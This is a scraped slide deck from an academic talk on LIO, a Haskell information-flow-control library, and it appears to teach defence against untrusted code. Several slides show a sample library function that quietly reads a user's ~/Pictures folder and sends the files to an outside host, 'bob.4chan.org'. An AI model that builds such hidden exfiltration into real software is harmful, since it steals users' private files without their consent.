building secure systems with lio
play

Building secure systems with LIO Deian Stefan, Amit Levy, Alejandro - PowerPoint PPT Presentation

Building secure systems with LIO Deian Stefan, Amit Levy, Alejandro Russo and David Mazires Building systems is hard. if ((err = SSLHashSHA1.upda goto fail; if ((err = SSLHashSHA1.upda goto fail; goto fail; if ((err = SSLHashSHA1.fina


  1. Building secure systems with LIO Deian Stefan, Amit Levy, Alejandro Russo and David Mazières

  2. Building systems is hard.

  3. � if ((err = SSLHashSHA1.upda goto fail; if ((err = SSLHashSHA1.upda goto fail; goto fail; if ((err = SSLHashSHA1.fina goto fail; Building secure systems is harder.

  4. Safe Haskell to the rescue!

  5. Kind of…

  6. cabal install your-cool-lib

  7. {-# LANGUAGE Safe #-} module YourCoolLib where � ... � renderPDF :: Text -> IO PDF renderPDF txt = do pics <- readFiles “~/Pictures” ... sendFiles pics “bob.4chan.org” _renderPDF txt

  8. {-# LANGUAGE Safe #-} module YourCoolLib where � ... � renderPDF :: Text -> IO PDF renderPDF txt = do pics <- readFiles “~/Pictures” sendFiles pics “bob.4chan.org” _renderPDF txt

  9. But, I don’t execute untrusted code!

  10. You do: 83% of CVEs are in application code

  11. Should treat most of your code as untrusted ➠ address one problem!

  12. Safely executing untrusted code • Approach: information control flow (IFC) ➤ Associate security policy with data ➤ Enforce that all code abides by data policy • Result: data confidentiality and integrity

  13. Policy specification with DCLabels (demo)

  14. {-# LANGUAGE Safe #-} module YourCoolLib where � ... � renderPDF :: Text -> LIO PDF renderPDF txt = do pics <- readFiles “~/Pictures” sendFiles pics “bob.4chan.org” _renderPDF txt

  15. {-# LANGUAGE Safe #-} module YourCoolLib where � ... � renderPDF :: Text -> LIO PDF renderPDF txt = do alice canFlowTo bob.4chan.org? pics <- readFiles “~/Pictures” ✗ sendFiles pics “bob.4chan.org” _renderPDF txt

  16. Enforcement with simplified LIO (demo)

  17. But real apps require some form of information release…

  18. {-# LANGUAGE Safe #-} module ICloudLib where � ... � backup :: DCPriv -> LIO () backup alicePriv = do pics <- readFiles “~/Pictures” sendFilesP alicePriv pics “upload.icloud.com”

  19. Other LIO features • LIORefs, LChans, LMVars, etc. • Threads • Exceptions • File system • Database system • HTTP server & client

  20. Other LIO features • LIORefs, LChans, LMVars, etc. • Threads • Exceptions • File system • Database system • HTTP server & client …port your own!

  21. Challenge: policy specification • LIO ensures that code cannot violate IFC • DCLabels is a simple label model • But to ensure security, still must: ➤ Set the correct policy ➤ Structure app code to minimize use of privileges

  22. Challenge: policy specification • LIO ensures that code cannot violate IFC • DCLabels is a simple label model • But to ensure security, still must: ➤ Set the correct policy ➤ Structure app code to minimize use of privileges … this is hard, but we have some ideas!

  23. 
 www.labeled.io We built multiple systems… 
 LearnByHacking - School of Haskell clone GitStar - GitHub platform clone LambdaChair - Conference review system Blog, wiki, auth server, commenting system, … give it a shot! cabal install lio

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend